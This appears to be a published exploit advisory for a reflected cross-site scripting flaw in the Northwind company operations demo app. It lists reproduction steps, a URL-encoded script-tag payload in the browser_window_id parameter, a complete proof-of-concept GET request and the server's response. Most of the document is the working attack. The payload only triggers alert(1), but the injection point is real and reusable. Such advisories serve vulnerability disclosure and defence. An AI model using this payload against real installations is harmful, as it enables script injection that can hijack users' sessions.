# Exploit Title: Northwind, company operations database - Cross-Site Scripting (Reflected) # Date: 04.06.2024 # Exploit Author: Furkan Eren Tetik # Vendor Homepage: https://bigprof.com/appgini/free-open-source-web-applications # Software Link: https://github.com/bigprof-software/northwind-demo # Version: 1.0 # Tested on: Windows 11, Kali Linux # Northwind, company operations database page can be attacked with xss with a simple script # https://www.linkedin.com/in/furkanerentetik/ Steps To Reproduce: 1 - Go to the login page http:///fetuygulama/app/customers_view.php 2 - Add new record payload=browser_window_id=.......%22%3e%3cscript%3ealert(1)%3c%2fscript%3e........ 3 - Enter on url alert warning appears. PoC Request GET /fetuygulama/app/customers_view.php?record-added-ok=76371387&SortField=&SortDirection=&FirstRecord=1&DisplayRecords=all&SearchString=&SelectedID=3&browser_window_id=0d76e64e70f5%22%3E%3Cscript%3Ealert(1)%3C%2fscript%3E0d76e64e70f5 HTTP/1.1 Host: localhost sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="101" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.67 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7 Cookie: Northwind=52149sofrm6k5359nuun3h1514; displayDemoTools=on; demoInfoShownBefore=yes; compactMode=true Connection: close ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Response HTTP/1.1 200 OK Date: Tue, 04 Jun 2024 14:34:48 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: SAMEORIGIN Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 112205 Northwind | Customers
The new record has been saved successfully.
0d76e64e70f5" />

Detail View

Loading ...